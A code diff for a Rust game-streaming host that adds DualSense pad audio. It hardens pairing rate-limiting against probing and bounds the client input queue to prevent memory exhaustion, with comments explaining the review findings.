let token = hex::encode(buf);
let dir = pf_paths::config_dir();
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config path.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
write_token(&path, env_var, &token)?;
tracing::info!(path = %path.display(), "generated and persisted API token (owner-only)");
Ok(token)
+79 -18
View File
@@ -62,6 +62,12 @@ use pairing::pair_ceremony;
mod audio;
use audio::audio_thread;
/// Per-pad DualSense audio (the 0xD1 plane): loopback capture of the pre-provisioned pad
/// endpoints → per-kind silence gate → stereo Opus → `PAD_AUDIO_MAGIC` datagrams. The input
/// thread spawns/reaps one streamer per arriving pad (`input`); the Welcome advertises the cap
/// via `pad_audio::host_cap` (`handshake`).
mod pad_audio;
/// The native input plane (plan §W1); the session setup spawns `input_thread` and feeds it a
/// channel of `ClientInput`. The `Pads` router + rumble live there too.
mod input;
@@ -345,6 +351,14 @@ pub(crate) async fn serve(
// binds its capture device) and self-heals when the backend dies (PipeWire restart, Windows
// endpoint churn).
let mic_service = crate::audio::MicPump::start();
// Windows, env-gated (PUNKTFUNK_PAD_AUDIO / _SLOTS): pre-provision the per-pad "DualSense
// speaker" render endpoints once per host lifetime — idempotent devnode + stamp work on a
// dedicated COM thread, results published for sessions to query by pad index
// (crate::audio::pad_endpoint::endpoint_for). If any stamp is stored-but-not-served, the
// worker performs ONE AudioEndpointBuilder+Audiosrv restart now, before any session exists.
// Failures log once and leave the feature off: pads still work, just without pad audio.
#[cfg(target_os = "windows")]
crate::audio::pad_endpoint::provision_at_startup();
// Host-lifetime worker that fires debounced TV-session restores (the managed gamescope path
// restores the box's autologin gaming session on idle, not per-disconnect — see
// `vdisplay::restore_managed_session`). Held for serve()'s lifetime; dropping it stops it.
@@ -803,6 +817,31 @@ async fn serve_session(
anyhow::bail!("pairing requires the client to present a certificate");
};
let client_fp_hex = fingerprint_hex(&client_fp);
// The cooldown is charged BEFORE the arming state is consulted, and stamped on EVERY
// outcome — including the rejections.
//
// It used to be charged only after `pin_for_attempt` returned a PIN, which made the two
// rejections free: an unpaired LAN peer could ask "is pairing armed right now?" at
// unlimited rate at zero cost, learning the moment the operator opens a window and racing
// the legitimate device into it (2026-08-05 review M-5). Charging first costs an attacker
// one cooldown per probe and makes armed/disarmed indistinguishable from rate-limited.
//
// The trade is deliberate: a peer spamming knocks can now hold the cooldown against the
// operator's real device. That is a visible, self-limiting nuisance — the operator retries
// — whereas the oracle was silent and gave away the window.
{
let mut last = last_pairing.lock().unwrap();
if let Some(t) = *last {
if t.elapsed() < PAIRING_COOLDOWN {
close_rejected(
&conn,
punktfunk_core::reject::RejectReason::PairingRateLimited,
);
anyhow::bail!("pairing rate-limited — retry shortly");
}
}
*last = Some(std::time::Instant::now());
}
// Resolve the live arming PIN per attempt (so a lapsed window no longer pairs), honoring any
// fingerprint binding.
let pin = match np.pin_for_attempt(&client_fp_hex) {
@@ -825,19 +864,6 @@ async fn serve_session(
)
}
};
{
let mut last = last_pairing.lock().unwrap();
if let Some(t) = *last {
if t.elapsed() < PAIRING_COOLDOWN {
close_rejected(
&conn,
punktfunk_core::reject::RejectReason::PairingRateLimited,
);
anyhow::bail!("pairing rate-limited — retry shortly");
}
}
*last = Some(std::time::Instant::now());
}
return pair_ceremony(&conn, send, recv, req, host_fp, np, &pin)
.await
.map(|()| Served::Session);
@@ -1194,7 +1220,22 @@ async fn serve_session(
// channel's 4 ms recv timeout — every motion sample of a pure-gyro aim (no button
// traffic) ate up to 4 ms of added latency/jitter. A single channel wakes the thread on
// whichever arrives.
let (input_tx, input_rx) = std::sync::mpsc::channel::<ClientInput>();
// BOUNDED, and lossy on overflow — the mic plane on this very datagram loop has been bounded
// with `try_send` since security-review S6, and the three input planes had simply never been
// given the same treatment (2026-08-05 review M-3).
//
// The producer is one `read_datagram` loop that can push a message per datagram; the consumer
// handles ONE item per iteration and then runs a full gamepad feedback pump + heartbeat. The
// producer therefore outruns the consumer by orders of magnitude, and with an unbounded queue
// the backlog is host RSS: pen batches amplify ~8× from wire to heap, so a paired client on a
// 100 Mbps link grows the host by ~100 MB/s until it dies. Reachable by any paired client, or
// any LAN peer under `--open`.
//
// Dropping is correct here in a way it would not be for a reliable stream: input is a
// real-time plane where a sample that cannot be delivered promptly is already stale — the
// freshest state wins, and the injector re-syncs from the next event.
const INPUT_QUEUE_DEPTH: usize = 1024;
let (input_tx, input_rx) = std::sync::mpsc::sync_channel::<ClientInput>(INPUT_QUEUE_DEPTH);
let rich_tx = input_tx.clone();
// The stream loop's handle into the same pipeline: it parks the seat pointer on the
// streamed surface (stream.rs `park_pointer`) through exactly the path client input takes.
@@ -1203,9 +1244,14 @@ async fn serve_session(
let input_handle = {
let conn = conn.clone();
let gamepad = welcome.gamepad;
// Pad audio (0xD1) negotiated: the Welcome advertised the cap (Windows + provisioned
// endpoints + the client asked — handshake reads `pad_audio::host_cap`). Read back off
// the Welcome rather than recomputed, so the input thread's spawns cannot disagree
// with what the client was told.
let pad_audio_on = welcome.host_caps & punktfunk_core::quic::HOST_CAP_PAD_AUDIO != 0;
std::thread::Builder::new()
.name("punktfunk1-input".into())
.spawn(move || input_thread(input_rx, conn, inj_tx, gamepad))
.spawn(move || input_thread(input_rx, conn, inj_tx, gamepad, pad_audio_on))
.context("spawn input thread")?
};
// One reader for ALL client→host datagrams, demuxed by magic byte (two read_datagram loops
@@ -1216,6 +1262,20 @@ async fn serve_session(
let input_conn = conn.clone();
tokio::spawn(async move {
let (mut input_count, mut mic_count, mut rich_count) = (0u64, 0u64, 0u64);
let mut dropped = 0u64;
// `try_send` on a full queue drops rather than blocking this loop — blocking here would
// stall the mic plane and the datagram reader itself. A DISCONNECTED channel is the input
// thread having gone away, which is the one condition that ends the loop.
let mut offer = |tx: &std::sync::mpsc::SyncSender<ClientInput>, item: ClientInput| match tx
.try_send(item)
{
Ok(()) => true,
Err(std::sync::mpsc::TrySendError::Full(_)) => {
dropped += 1;
true
}
Err(std::sync::mpsc::TrySendError::Disconnected(_)) => false,
};
while let Ok(d) = input_conn.read_datagram().await {
if let Some((seq, pts, opus)) = punktfunk_core::quic::decode_mic_datagram(&d) {
mic_count += 1;
@@ -1230,7 +1290,7 @@ async fn serve_session(
});
} else if let Some(rich) = punktfunk_core::quic::RichInput::decode(&d) {
rich_count += 1;
if rich_tx.send(ClientInput::Rich(rich)).is_err() {
if !offer(&rich_tx, ClientInput::Rich(rich)) {
break;
}
} else if let Some(pen) = punktfunk_core::quic::PenBatch::decode(&d) {
@@ -1238,7 +1298,7 @@ async fn serve_session(
// design; see punktfunk_core::quic::pen). Routed to the same input thread,
// which owns the per-session tracker + virtual tablet.
rich_count += 1;
if rich_tx.send(ClientInput::Pen(pen)).is_err() {
if !offer(&rich_tx, ClientInput::Pen(pen)) {
break;
}
} else if let Some(mut ev) = InputEvent::decode(&d) {
@@ -1254,7 +1314,7 @@ async fn serve_session(
) {
ev.flags &= !crate::inject::KEY_FLAG_SEMANTIC_VK;
}
if input_tx.send(ClientInput::Event(ev)).is_err() {
if !offer(&input_tx, ClientInput::Event(ev)) {
break;
}
}
@@ -1263,6 +1323,7 @@ async fn serve_session(
input = input_count,
mic = mic_count,
rich = rich_count,
dropped,
"client datagram stream ended"
);
});

Some files were not shown because too many files have changed in this diff Show More